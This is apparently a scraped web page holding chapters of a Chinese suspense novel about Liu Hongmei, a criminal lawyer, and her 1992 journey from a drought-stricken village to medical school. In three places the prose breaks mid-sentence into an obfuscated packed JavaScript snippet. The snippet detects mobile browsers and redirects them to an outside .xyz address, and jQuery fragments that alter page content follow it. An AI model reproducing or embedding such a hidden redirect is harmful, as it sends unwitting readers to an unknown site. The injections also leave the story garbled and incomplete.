《最后的歌谣[悬疑]》 1. 演讲 装修精致典雅的酒店会议厅内,穿着整齐西装的人们步履匆匆,室内来回穿行,跟对讲机确认着开幕前最后事项,LED屏幕忠实地显示着“律师职业分享大会、2022年、海南”字样。 毫无疑问,这是由律师协会牵头,为即将踏入职场,或职业发展迷茫期的新人们答疑解惑,每年举办一场的公益分享大会。在这里,你听不到行业一线案例,也无从分享法学研究动态,有的只是资深律师对法律新人们,毫无保留的从业经验传授。 “不就是中年律师吹牛逼吗,用得着这么仔细吗。” 志愿加入后勤工作的年轻男学生抱怨道。 他刚搬完六箱香槟,双臂满是土不说,室内外温差搞得他出了一身汗,衬衣前胸后背粘着身体,精英形象大打折扣。 “就四个人,演讲居然要一天也就算了,有必要搞成这样吗?不知道的还以为要接待什么外国领导人呢。” “哈哈,只能说你肯定不是刑法方向的。” 年轻女学生兴奋地靠墙锤着腿,高跟鞋快要折了她的腿,她却不得不台上台下四处检查,确认麦克、摄影线路是否完美无误,疲惫没有将她打倒,眼睛愈发明亮。 “这次可有刘红梅律师,国内排名第一的刑事诉讼律师!但凡学过刑法,还有谁不认识她吗?” “得了吧,正经人谁搞刑法。赚钱还得商法。” “诶呀,那只能祝愿你运气好,我们不会在局子里见面了。” “滚,你骂谁铁窗泪啊。” 男学生趁没人注意,恶狠狠在餐布下方抹了一把汗,又把它恢复原状。 在女学生眯着眼嘲笑的表情里,他没好气地说。“邀请了十来年,她哪次来了。” 对女学生插话她肯定来了置若罔闻,他接着说:“别又是律协怕台子底下没人,录像不好看,骗鬼用的。不然500张票,哪能两天全送完。我刚进来时候可看见了啊,合同法、国际法大咖都来了,只能说人家顺便过来度假了吧,不然还真看一个方向不对口的律师在这讲,‘我的前半生’?” “正因为他们来了,刘律到的可能性变成了100%!即使不是同方向,认识行业顶尖大佬能有什么坏处呢?” 女学生一脸诡笑,掏出手机给同学看。 “更何况……看!刘律的航班!昨天已经到了。” “听见对讲机里刚刚说的没?临时改海报,那俩会PS的正哭着呢,也就是这次没印刷,不然你看着一会儿PPT里都有谁。” 正当女学生想要反驳,对讲机内传来声音:“还差三十分钟就到十点,各部门最后确认一遍,我们就开门迎客,十点演讲准时开始。 “座位?” “已布置完毕,位置上有名牌,也有水和水果。” “灯光音响?” 女学生回答:“已布置完毕,麦克风均检查无误。” “舞台布景?” “马上、马上……” “舞台快点啊,你们还要展示PPT的。自助餐台?” 男学生回答:“已布置完毕,甜点饮品都从后厨搬来了。” “迎宾?” “已准备好。” “好的,舞台布景?” “完成了完成了!” 随着对讲机话音落下,LED屏幕立刻开始展示,首当其冲,穿着白色西装温文尔雅,皱纹难掩卓越风姿的女士,一旁标记着“刑诉律师刘红梅”字样。 而后什么噪音都听不到了,女生关掉对讲机麦克,看着屏幕,在男生嫌弃的表情里情不自禁紧握双手:“看,我们的刘律,即使是糊成LED像素的肖像,大佬的气息都扑面而来,势不可挡。” 男生突然开始低头咳嗽。 “我是为了谁千里迢迢做红眼航班回来的呢,当然是我们的刘律,妇女儿童免费法律援助界的神。” 男生咳嗽声音越来越大。 女生浑然不觉,自顾自地说:“你知道她帮了多少女性讨薪、远离家暴、甚至还成立了□□受害者心理咨询联盟,拯救了多少人的心灵吗,你不知道。我的偶像啊……” 男生放弃咳嗽,有人无药可救。他转身去门口要预备迎宾,引导来客。 女生恋恋不舍再三看着LED屏幕,对男孩离去的空气念念叨叨:“别自卑,你只知道钱,这没什么,毕竟你只是个男人啊,你又懂什么啊?——啊?!!” 伴随转身,感叹的啊变成了尖叫的啊,给每个对讲机持有者鼓膜狠狠捅了一刀,以至于音响设备都刺耳地滋滋作响。 被啊的女士不动声色,对女孩温和地笑着。 女生蹦起来:“我天,刘律?!您什么时候到的?” “就刚刚,那男孩咳嗽的时候。”刘红梅眨眨眼睛,“谢谢你的夸奖。虽然被当面这么夸,对我而言,挺社会性死亡的。” “这样居然叫夸?这仅仅是对您几十年来工作的总结呀。” 刘红梅只是微笑。 女生越说越激动:“刘律,实不相瞒,您是我们每个刑法学生,起码刑法女学生里的偶像。您看,您弃医从法,敢于为□□打官司证明对方的清白,端正了检察院的边界,程序正义得以声张;也第一个出头,用实质上是集体诉讼起诉贪腐官员,后面拉开了反腐的大门;甚至是检察院内部反腐案件,也有您的活跃身影。无论哪一次您都站在时代的前列,是先锋,是楷模啊。” 刘红梅摇摇头:“我只是做了一些别人没做,又该去做的事情。先锋、楷模的,不敢当。” “我觉得从后续影响来看,怎么夸您都不为过。您专门为被□□的女性做了心理援助联盟,帮助她们跨越伤痛,迎来新生。这些是超出法律边界,充满人文关怀的行为,但是极为耗时耗力,又不赚钱,对于您这样一位大咖,其实是费力不讨好的。只要有人知道,很难不钦佩您的。要不是您从来不接受采访,我真的有好多问题想问的,比如说,一开始,什么促使您弃医从法的?医学要赚钱得多啊,更何况那个年代啊!” 刘红梅只是笑:“希望我的演讲能把这些都一次性讲清楚。要知道这么多年来,没少人问过我一样的问题。” “那太好了——” “——喂,你这不带嘉宾串场,还聊上了?” 负责主持会议的老师匆匆赶来呵斥,女生恍然,这才带刘红梅到后台准备。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004293|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指引过麦克使用,上场时间,各种东西的位置,房间陷入短暂的安静。 海浪声传入房间,刘红梅闭着眼安然坐在椅子上,抚摸着一个贝壳。那贝壳早已被摸得圆滑,像鹅卵石般,反射着柔润光泽。 她就这样安静地坐着。 时间刚好,介绍的声音逐步传来:“……那么,我们第一位要邀请上场做演讲的这位律师,不用我说任何修饰词,什么行走的法律解释,活着的刑法进程……” 台下哄堂大笑。 “是吧,完全没必要这些多余的修饰词,只要喊出她的名字就足够了。开始之前呢,也让我这老人家吐吐槽。请她来可真不容易,要知道,她,什么报纸、杂志、广播、电视采访,统统拒绝,没有一个漏网之鱼。我们律协也足足邀请了十年,今年都不打算让她来,嘿,她偏偏来了。蚂蚁竞走十年了,终于让我们等到了。让我们掌声邀请:刘红梅,刘律师。” 台下瞬间掌声雷动。 刘红梅将贝壳收在掌心,跟着引导员走上台,在麦克前站定,在渐弱的掌声里开口:“大家好,我是刘红梅,那个竞走了十年的蚂蚁。” 掌声再次响起,她忍俊不禁,等到众人鼓累了接着说:“很多人问我,问我很我多问题。太多了,一时间不知从何下口。先简单回答一个问题:为什么我从来不接受采访?因为没时间。 “大家知道,在医院里,医生护士的工作往往是争分夺秒,挽救人的性命,让他们活着。我出身医学护理专业,即使走在法律的路上:从牢房里解救一个被冤枉的人,从行业里揪出一个危害一方的毒瘤,或者仅仅是让犯罪嫌疑人得到公正的判决。让案件落幕,让秩序恢复,让他们从中断的时间里再次获得生活,也要争分夺秒。 “为什么生活重要,为什么在我看来,哪怕是真正该进牢子里的人,也要生活? “这源于我在医学院读书时的感悟:大三实习,急诊室里常常进去开膛破肚的病人,有时候送医及时,我们救得回来,有时候出血太严重,即使缝合了伤口,他们也无法醒来。器官齐备,外表完整,还在呼吸,都不足以构成一个人的全部。 “人,第一,要有意愿活下去,第二,要行动。对于这样一个人而言,身体的健康与否,仅仅是他生活的基础。比起行动,意愿更重要。法律中我们讲究真实的意思表示,根据这个判断法律适用,比如罪名可以从过失杀人变为蓄意谋杀,这个意愿,是决定性的。 “这个时候,我们用社会意志,去判定一个个体的罪名。 “法律之外,人的意愿也很重要。如果一个人没有意愿活下去,那么再好的物质条件,看起来再好的性格和社会关系,都不足以让她重燃生活的希望,她依然会自愿放弃生命。 “这个时候,这个个体,反过来对社会进行审判。她的判定是,我不愿意活在这样的世界里,也不愿意为了看到光明而做出任何努力。所以她会走,留下亲人朋友的哀痛,社会舆论的反思。 “全社会都要为之负责的事情,是没有罪名的。 “之所以讲这些,是为了讲我的职业故事,而我的职业故事,一切都要从…… “我领到通知书那天起。” 2. 通知书 地面有印子,轮子留下的。轮子上搭着木板,木板上覆着棉被,一端套在瘦骨嶙峋的驴上,就是个车了。 驴车悠搭二晃,载着一老一小,行驶在满是黄土的路上。 其实也无法称之为路:路旁树木草皮枯萎殆尽,尸骸之后是龟裂的土地。 农历七月天,田地没有作物,更没有杂草。土地的尽头与天相连,构成旅人眼里唯二的色彩:黄色的土,蓝色的天。 水就像从地里飞去天的尽头,在那里构成了天,裂缝是它行进的方向,它不甘的证明。它烦呐,一年又一年供养这地上的人,人又不懂知足,这口井空了就打下一口,喝不够还要灌溉,完全不付代价。它累了,就不乐意组成云,也不耐烦成为雨。它就消失了。 失信是渐进的。 飞虫增多,没人当回事,作物萎缩,也不是大问题。 直到蝗虫乌泱泱地将衰败的绿色啃噬殆尽,恐慌才让人学会感激。又是求神,又是拜佛,嚎天哭地,愣是整些不相干的东西折腾自己。 最后一口井趋近干涸,人才明白,自个儿长着腿,在虫风里放弃挣扎,迈开脚步,四散寻求出路。从天上看,也就几个豆丁儿大的顽固分子,还要往死路里寻,可叫一个不知好歹。 没了草皮水池,驴也没精神。这不,走着走着好一个坑道,车板好一抖动,水哗地从桶里涌出来,渗进木板上的棉被。 裤子湿了,车上的小姑娘才从漫长的发呆里回神,赶车老头直驭驴,停稳了才翻开水桶看。好嘛,天灾又人祸,水就剩个底儿,够走多长的段路,够谁喝。 “崽种!” 老头没法下手打,就骂,骂这路,这天,这年头。 车上的小姑娘怔怔探向湿糯的阴影,三伏未尽,万里无云,竟叫这刚遭殃的水也温热了。 反常叫她清醒,她攥紧水瓶,四处张望,判断眼前景象不再全然陌生,就张开口说:“大爷您别气,到家就有水了。也没几里地了,我就这儿下,谢谢您这几天载我,我还吃您东西,我会记住的,将来还您,我保证。” 赶车人登时不气了,咧开嘴,绽出跟经年载人的车板似的匀纹络:“红梅唷,见外了不是,可不敢说还!咱村你第一个考上大学的女娃,载你,顺路,吃食,小事。等你过年放了假回来,教教咱村子里的小辈,都上大学,都去北京念书,建设国家,做大贡献,这才是大事。” 红梅笑,不知是哪句话哪个词让她高兴,眼睛小孩似的瞪大,又圆又亮,她点头就算答应。 老人又是叹气:“就是这通知书咋还不到呢,三天跑三趟了,说要送到村子里,送哪儿去了。不然该投奔亲戚就奔,哪用在这耗着。你家余粮也不多了吧?” “还够半个月,就等通知书了。” “拿上通知书你家才走?” “拿上通知书,我爹妈投奔亲戚,我收拾被卧,直接买火车票,去学校报道。” “离开学早一个多月呢哇!” “我们考虑过了。听广播说,好像只有咱们这闹干旱,闹蝗灾。爹妈投奔别的亲戚,他们有得吃,我就不怕。我进省城,省城啥东西没有呢,只要有住的地方,卖卖力,总是不愁吃的。” “学校让住吗,万一不让你住,省城那么老远呢,你在那又没亲戚,小姑娘家家,黄花大闺女,就躺街上啊。” 红梅笑:“先试试,总会有办法的。咱不同路,我就这下啦,您赶紧回家吧。” “诶,你把水瓶满上,走回家好几里地呢。老头我耐旱,不用给我留。” 红梅连连摆手:“水瓶满的!回头见罢。”语毕便不再客套,跳下车板,终于带着属于她这年纪的活泼,行走在了另一条路上。 驴车不再停驻,也匆匆颠簸进前方。 就像活泼是为了让旁人安心,其实也并没有路摆在红梅面前。没有路标,就靠记忆引导着方向,一步一步踏往归属。 红梅手指扬在空中细数:三叔家种的麦子最好,因为三叔养肥有不外传的密招;二舅家除了麦子还要多种土豆,因为二妗爱吃;太奶奶家的油菜花榨油最香,全村都要讨点吃;爷爷家的育种子最旺,护佑这个村落的农作,年复一年丰收在望。三伏过去,秋风吹来,晒谷子的场地满是麦穗,烟囱里满是芬芳…… 背上猛地被撞,撞得她身体踉跄,红梅睁开眼,眼前丰饶皆空,只余荒芜。 或许不只是荒芜。 第一只蝗虫从脚边飞速掠过,掠夺者们接踵而至,晕了头的就会撞在人身上。没人知道蝗灾和干旱是哪个先发生的,虫群演变成灾祸,将这片大地抢夺后,它们不知羞耻,又寻找着新的目标。眼下能见的,是吃不上还飞不远的残兵败将。 牲畜吃粮,人吃牲畜。久经风霜的人们就会有这样的疑问:蝗虫吃作物,人就不能吃蝗虫吗? 直到某家门窗引了苍蝇,人们才发现腐臭尸体,收拾遗物时在锅里发现土黄的蝗虫堆,不一定存在的疑问烟消云散。 就没人来管管吗? 收音机里各地丰收在望,急迫的人几经周折进镇里寻求帮助,也没有任何回信。打不完的蝗虫,几近干涸的井水,在漫长的不知为何的对峙中,村里人将粮食均分,约定来年,就各自投奔新的希望了。尚有余粮和水的老人不走,因为倔强,也怕拖累;红梅一家不走,则是为了等红梅的大学通知书。 喜讯是村长通知的。 村里只有两个高中生,除了村长的儿子刘勇,就是刘红梅了。俩人虽然是同学,关系仅为同乡。缘由简单,村长天天督促儿子考清华北大,娶城里媳妇;红梅父母虽然生的是女儿,女儿成绩向来全村第一,回回压村长儿子一头,就也傲气起来了,砸锅卖铁也要供她读书,不叫她像同龄人嫁人务农。 “你别怕,咱养得起你。只许他村长儿子娶城里媳妇啊?咱闺女进城里读书,分配工作,住楼房,一个月的工钱顶地里一年啦。到时候咱全家进城里住,多好!这不是赌气,这是为了全家!” 每每红梅愧疚,红梅妈都这么宽慰她。 红梅爸则这么说:“我和你妈不识字,帮不了你啥。但是娃儿你聪明,就不能跟我俩似的一辈子待在地里。尽量走远点罢。” 于是红梅跌跌撞撞,走得越来越远:村里的小学,镇里的中学,城里的高中。高考结束,听老师推荐报西医志愿,“又能救人做贡献,又能赚钱,这年头两头都好的事可不多啦”,成绩出来,不多时就收到省城的大学通知书。 那是她家谁都没去过,全然陌生的地方。 红梅爹妈头疼,高兴女儿有大学上,又头疼没钱买多余的票送女儿上学。好在刘勇也被同校录取,村长在省城有远房亲戚,可以托刘勇帮忙关照。村长答应俩人一起进省城,帮忙买火车票,红梅爹妈这才安心。 坏就坏在,通知书迟了两天还不到。越拖,家里余粮越少,本就踌躇不安的红梅,越发觉得自己是个拖累。于是她自告奋勇,去镇里学校找通知书,第一天说还没到,第二天说当天送,今天却说村长一起领走了,村长会送的。 真的会送吗。 想着刘勇高中时代的装腔跋扈,红梅不好说什么,只能打道回府。如今走在回家路上,伴着蝗虫,倒也不算孤独。 等,她再擅长不过了。 毕竟春天种下的种子,熬半年才能结果,储粮也要严密,才能度过冬天,等到来年。 只是路上干渴,毕竟难熬。 红梅晃晃水瓶,水瓶是铝的,高中奖励她考上大学的奖品。刘勇也有,嫌笨重,不稀得用。但它密不透风,看不清底细,听不见声响,就可以当做是满的。不管它到底满不满,回到家就行了。她忍着饥渴,不知走了多久,终于看到熟悉的屋顶出现在地平的尽头。 她扭开水瓶,将液体倒进嘴里。不多不少,刚够一口。 支撑她回家的最后一口。 踏进院子,红梅一眼就看到亲爹窝在粮仓,蹲着,不知道在数什么。要紧的是灭火,她从井里摇起水桶,抱住,急切又小心地往嘴里大灌。几口下去,水桶见底,席地而坐长舒一口气,才能难得地眯眯眼睛,展示一丝惬意。 “回来啦!来给爹打桶水,洗洗手。” 红梅应声跳起来,打了水,俩人蹲在阴凉地,红梅用瓢细细地浇着红梅爹的手,才后知后觉地问:“我进门时候你干嘛呢?” “数数粮,给你带上。” “通知书说是要送家里,我扑空了。” 红梅爹登时笑了:“到了,你刚走就送到了,村长骑自行车送的,还招呼你后天走,他都打好招呼定上票了。信封就在炕上呢,还没拆,洗完手瞅瞅去。” 红梅眼睛瞪大,当爹的心领神会,接过瓢,自己冲水了。红梅几步跑进家门,才闻到一股咸香,追着味道看到亲妈在炉子边炒菜。 炒菜?红梅扒着门框看灶台,猪油香伴着鸡肉翻滚,旁边还有一碗炒蛋,米饭满满一盆焖在锅盖底下,热气尤在。 肉啊!这可是两个肉! 兴奋之余红梅又冷静下来,问着炒菜蒸得汗津津的妈: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004294|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这鸡是哪儿来的呀?咱家可没有啊。” “村长送的,说给你补补,怎么也是考上大学了,又跟刘勇是同校同学,以后在外地互相照应。” “哦……” 这哪是照应,这是人情。 红梅记下,就帮着盛出锅,又帮着添水预备洗锅,碗筷齐了,一家人才围着炕坐下。 爹妈看着红梅,红梅看着通知书,上书致刘红梅,钢笔字别提多好看了。红梅摸着自己的名字,喜上眉梢,在父母的注视里,小心翼翼翻到背后。封口翘着边,给了趁虚而入的空间,红梅没多想,拿着剪刀就拆封。 “写的啥?快给念念?”红梅妈搓搓手,催促着。 “学生入学通知书:刘红梅同学,经高等学校招生委员会批准你入我校医学系护理专业学习,请持此通知书于九月一日到学校报到。落款一九九二年八月三日。底下左面是招生委员会的章,右面是学校的章。” 红梅蹦起来,乐不可支,给爹妈展开看,读了一遍,又读了一遍。 “我是大学生了!马上就是了!已经是了!” 红梅爹妈相视而笑,红梅妈给她夹鸡腿:“行啦,知道啦,来吃肉。” 红梅把通知书小心地供在一旁柜子上,才坐下来,喜笑颜开,筷子把鸡腿撕成三份,分给爹妈:“你们等着,等着我毕业,有了工作,分了房子,咱家也是城里人,还是省城人!老师跟我说了,学这个能直接留在省医院呢。” “诶哟,沾女儿福气喽。”红梅妈夹起鸡腿肉,给老公炫耀,“让那些个人再传闲话,养女儿是给别人贴钱。咱女儿可孝顺,要接咱们进城嘞。要不是今年蝗灾,我可得搞搞好杀猪肉请全村人吃,堵他们臭嘴。” “等明年……不对,等女儿毕业,等咱们进城,总能请的。”红梅爹乐呵呵地说,“甭管儿子女儿,想日头越过越好,还得靠自个儿。” “靠我呀!”红梅瞪眼,嘴里鼓鼓囊囊。 “好好好,靠你,靠你。” 数落完村里孝不孝顺的故事,展望完未来的好日子,数月来唯一的肉菜瓜分殆尽。 油脂尽数下肚,红梅洗锅,红梅爹一头扎进粮仓,红梅妈翻箱倒柜找东西,再一次拾掇好行李:一床被褥,秋冬新衣服,缝好的花钱包,纳的新布鞋云云,包袱皮一裹,就预备好了。 路上粮食则是第二天的事,几个鸡蛋,几张烙饼,放在饭盒里,布袋兜着,倒也利落。 最重要的,两百块学费加一百块的生活费,地里一年的收入,就缝在内衣里,连着录取通知书一起藏好,不怕被人偷了去。 约定的日子到了,红梅爹借来驴车,一家三口驮着行李欢欢喜喜去镇里找村长,刘勇带着差不多的行李,两家人一起去车站,临发车,红梅忽然哭了。 “诶,闺女,哭啥。”红梅妈笑着给她擦眼泪道。 “我要去上大学了。”红梅陈述着,又落下豆大的泪,“我真的去了。” “一个人去外地,怕啦?”红梅爹笑呵呵地说。 “我不怕。我想你们,就给你们写信。” “写吧,寄给村长,爸妈一定能收到。”红梅妈给女儿擦着擦着,就把自己眼睛擦红了,“你也别怕,今年暂时你先去,明年家里缓过来了,爹妈送你上学。爹妈还没坐过火车呢,托女儿的福,咱也去省城转转。不怕,蝗灾一百年一回的,咱就今年困难,都会好起来的。” “嗯。”红梅点点头,努力将哽咽吞下,笑给父母。 火车鸣笛,缓慢地驶向前方,越来越快,将她视线里的父母浓缩成一个点,再也看不到。 红梅眼泪又落下来。 刘勇撇撇嘴:“坐火车上大学而已,又不是拐卖你,干嘛呢。” “我第一次坐,去陌生地方,这很正常。你就不是第一次坐吗。” “那当然,省城一晚上就到了,你还拿着这么多……算了。” 刘勇见怪不怪,靠在座位,闭目养神去了。 红梅抱着饭盒,望着越来越黑的天,发呆好久。 是啊,怕什么呢。 就算真的有应付不来的困难,我还可以回家种地。 我家的谷子,三月种,七月熟。 我不会忘。 夜渐渐深,红梅在驴车似的晃荡里闭上眼睛。 车厢里堆满了物,物品上坐满了人,负荷叫铁皮晃晃悠悠,时而传来巨大的呜声,就算是缓过气了。停是不能停的,超大声的况且就算是号子,带着所有人行驶在既定的道路上。 3. 省城 一夜过去,停靠过八站的火车上满是倦怠的人。 天毕竟亮了,勉强过了夜的红梅伸展完身体,就想洗脸刷牙。 虽然是第一次坐火车,红梅观察着人群行动:排队打到冷水,在池子里刷牙,掬水冲洗泡沫,上厕所,又洗把脸,这才预备回座。 去时拥挤,回时亦然。 坐票满员,站也毫无虚席,红梅艰难地在物与物之间的缝隙穿梭。 碰到人是免不了的,那过了夜的红血丝张了张,在笑容里闭上,再往身下踢踢财物,或是抱紧背包。整个车厢在巨大的轰鸣声中保持着安静和沉默,刘红梅一丁一点,成功挤回座位,心情也为这小小的胜利雀跃。 火车就是个超大号的、快一点的驴车嘛! 她打开饭盒,取出切成块的烙饼,就着水壶进食,窗外景色佐餐:铁轨之外,农田井格状,有绿有黄,她甚至能分辨哪些是什么作物。 目之所及都是红梅熟悉的颜色,除了天空阴沉,黑压压的。 阴天。 会下雨吗? 红梅想了想,包里有伞,是初中老师奖励她继续上学的奖品。行驶在陌生的路上,开心就更多一些。 震荡对身材高大的人更是困难事,一夜没休息好的刘勇眉头紧促,看着她道:“我是服了你了,车上这么挤,下了车去学校洗漱不行吗,能把你憋死啊。” 红梅不接茬,压低声音,轻轻松松地问:“下了车你要去哪?” 刘勇抱臂道:“已经跟学校联系过了,学校要派人来接,先领你去学校报道,把你安顿了,你那就那儿呆着,等开学吧。” “你还是没说,你要去哪。” “我在省城有亲戚,我去找亲戚。” “你家亲戚真多。” “是啊,真多,非要说起来咱俩还是亲戚呢,你太爷爷跟我太爷爷是拜把子的关系,你得叫我哥。” “吃饼和鸡蛋吗?哥?” “不吃,看着就没味,留着你自个儿吃吧。” “都吃不在一起,怎么能算亲戚呢?”不紧不慢吃完烙饼,剥开鸡蛋,红梅脸上挤出好大一个笑容,“明明高中时候,你对我还不是这样呢。” 高中时代的刘勇,只跟城里富贵人家的孩子混,沾人家光,一分钱不花吃香喝辣,听CD看电影,放假叫他一起回家都不理人。那帮人嫌她穿着穷酸,却十分欢迎换了行头的刘勇。 这捡来的表哥可气派过呢。 刘勇臊起来:“人到新地方,就要结交当地的新朋友,才能学到新东西,看到大世面。你倒是一心向学,你得到啥了,还不是跟我念一个学校?” “你那些新朋友,就没一个进省城上大学的?” “人家从城里考,都是去北京去国外念书。没人进省城,不是人家考不上,是人家看不上,明白我意思吗?” “意思是,人家不要你跟班了呗。” “你!” 刘勇直瞪她,刘红梅咧嘴直乐,对视一眼,再不吭声了。 不多时,列车员拿着大喇叭艰难地跋涉在人群里,报站台名。 二人就预备下车。 虽有口角,刘勇还是承担起大件行李的活,刘红梅提溜二人随身包裹,随着人流,成功挤下车门,涌入车站。 这就是省城啊。 站台停驻着四辆绿皮火车,人群如潮水,哗啦啦地下,狭窄的过道瞬间就被填满了,但很快排成行的队列又哗啦啦地上,错身而过的潮流腾出一丝缝隙。哪里都有人,哪里的人都有去处。列车时刻表轮转着目的地、车次编号,无声地指引着人们去他们想去的任何地方。 但不识路就会难过得多。 红梅险些被人流夹走,她只好紧紧跟在刘勇身后。 走地下道,又上楼梯,七拐八拐,转得头晕眼花,好容易才绕到出站口。站口处有个男人举着大名牌,刘勇一眼望到,带着刘红梅过去,在男人审视的目光下,捆被褥的绳撸在胳膊肘,伸出白净的手: “您好,请问是医学院招生办的刘主任吗,学生是刘勇,她是我表妹刘红梅。” 怕男人不信似的,刘红梅还掏出二人的录取通知书。 男人确认过通知书,才笑起来,收起名牌夹在腋下,跟刘勇握手:“两位小同学辛苦了,来,咱们走。” 即便红梅连连拒绝,刘主任当仁不让接过红梅身上的包裹。两个男人在前,红梅在后,穿行在卖特产的小贩、招徕住宿的伙计、步履匆匆回家的人之中。 刘主任将二人带到路边的小轿车旁,把行李放后备箱,又招呼俩人上车。 对红梅来说,大巴车坐过,小轿车倒是第一次。看着刘勇熟练地坐进去,她学有学样,在后排落座,以轿车为据点,暗暗打量窗外的世界。 出站后才能看到的大钟楼,干净整洁的柏油马路,甚至是路边摊上的面糊,它被熟练地推成圆,刷上酱,填上脆饼,撒上葱,横平竖折,做成一份儿煎饼,包上油纸,就给等着的顾客了。 车内的刘勇和刘主任寒暄着。 刘主任问:“从你们那儿到这,走了多久啊。” “也就一晚上吧,十来个小时。您等了多久,真是受累了。” “我能累哪儿去,还是你们累,千里迢迢来上学,一会儿到了宿舍早点休息,好好睡一觉啊。”刘主任看到红梅目不转睛地盯着窗外,顺着看过去,是煎饼摊,“嗨,我着急拉你俩去学校,忘了这茬:吃了吗,我给你俩买煎饼去。” 煎饼五毛一个。 刘红梅迅速盘算起来。身上所有零钱整钱,加起来刚好三百。二百交学费,住宿费、书费、杂费不知道要多少钱,五十块大概够了。 剩下五十块,就是她八月到年末的生活费,每个月只有十块钱可以用,换算成每天,就是三毛。更别提,如果十二月家里打不来钱,连回家的车票钱都不会有。 如果买一个煎饼,就要饿一天半肚子。 好贵。 刘勇赶忙拒绝:“哪能让您买呢,我来我来。”说着他就下了车,利索掏出两块钱,拿着五毛找零和三份煎饼回车上。 他乐呵呵招呼:“刘主任,吃煎饼!” 刘主任随口道:“就放副驾驶吧。” 车启动了。 刘勇应声放过去,刘红梅才看到他手里还有俩。转眼就看到一个递到自己手边:“你的。” 红梅瞪着明知她吃了烙饼鸡蛋的刘勇:“我不饿。” “还不舒服呢,一会儿吃吧。”刘勇自说自话,把煎饼硬塞给她,继续跟刘主任搭话,“我第一次进省城呢,这是咱学校的车吗?” 五毛钱……我的五毛钱。 红梅心里兀自滴血,俩人聊天继续聊天。 刘主任慢条斯理地答:“学校要接肯定用大巴。这是我私家车,就你们俩人,载就载了。你们报到我也上班,顺路嘛。” “诶呀,我和我妹是沾了您的光,太谢谢了。” “见外了不是。其实说起来咱们也是亲戚,刘家本家嘛。我当年也是大学生,毕业直接留校,负责过挺多事,现在专管招生。看你们小辈儿来读书,心里也美得很,以后咱们经常走动走动,照应照应。” “那是,肯定得多走动,要跟您学的地方还很多。” 刘勇赶忙应承着,又拿胳膊肘杵没动静的刘红梅。 刘红梅看看刘勇,还是没出声。 刘主任视线移过来,刘勇赔笑:“不好意思啊刘主任,我妹第一次出远门,刚下车就吐了,这一路上不舒服着呢。才这么安静。”说完又是使眼色。 刘红梅这才复读:“刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004295|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主任,以后我和我哥就麻烦您多多关照啦。”跟着赔笑。 “叫啥主任呢,我叫刘欢,你俩都叫刘伯伯罢。”刘主任这才笑开,“叫红梅是吧。姑娘家家,看着身子骨是挺瘦弱,早点回去歇着吧。” “谢谢您关心了。” 刘主任跟刘勇寒暄甚欢,刘红梅捧着煎饼看着窗外出神,直到渐近的“医学院”几个大字映入眼帘,她精神起来,身体都坐直了。 不顾刘主任和刘勇拿她打趣,她充满喜悦地看着一切:整洁的水泥地,修理齐整碧绿的灌木、草地和树,不远处甚至有花架,上面爬着满满的牵牛花。 这是属于夏天的景致,一切都那么精美,那么生机盎然,即使是在阴沉的天空下。 却不长存。 想到家里枯萎的地,红梅渐渐安静下来,心情跟手里的煎饼一样,逐渐变凉。 为什么只有她家遭殃呢。老天一点都不公平,要是其他人也能尝到吃不饱穿不好的滋味就好了…… 窗外盎然绿意,她不断回想起来:吃蝗虫的人,背井离乡的人,左拼右凑凑够学费的父母,年底没有着落的生活费,和手里要掏出的五毛。 煎饼,哪要这么贵呢。五毛,能买好几个鸡蛋,好大包面粉呢。 车停在女生宿舍楼,红梅沉默不语,跟着刘勇下车。 宿舍楼大门紧锁。 刘欢往里张望,不见人影:“放了假宿管老师也不是天天在,但是昨天说过了,估计一会儿就来。红梅你先在这等等罢。刘勇,你跟我先去办手续,换学生证。” 初来乍到,俩人听从安排:刘勇去办手续,红梅就等宿舍开门。 红梅握着煎饼,看着天空。 雨却下起来。 没有任何招呼,电闪先来,骤雨倏至。 红梅赶忙提着两床被窝,候在门厅。门厅不大,两床被子一堆,便没了给人躲藏的地方。红梅本就瘦弱,勉强挤在屋檐下。可狂风又吹,将雨幕斜行淋进门框,红梅看着一地湿糯,就翻找出雨伞,支在包裹上,堵住来路。脚又垫在底下,防止积水弄潮被子了。 虽然看不上刘勇其人,这一路帮扶实打实的,她将自己的被卧垫在底下,刘勇的放在上头。勉勉强强还着人情。 虽然还欠着五毛。 雨越大,风越吹,身子骨越冷,只有压在被卧下的脚还暖着。刘红梅不自觉地抱臂,庭院里的树木跟她一样瑟缩。他们都在等,等着放晴,等着所在的地方成为安身之所。 “诶呀,你看,那是不是有个人?” 听到声音,红梅木木呆呆望去,是两个打着伞的女孩。 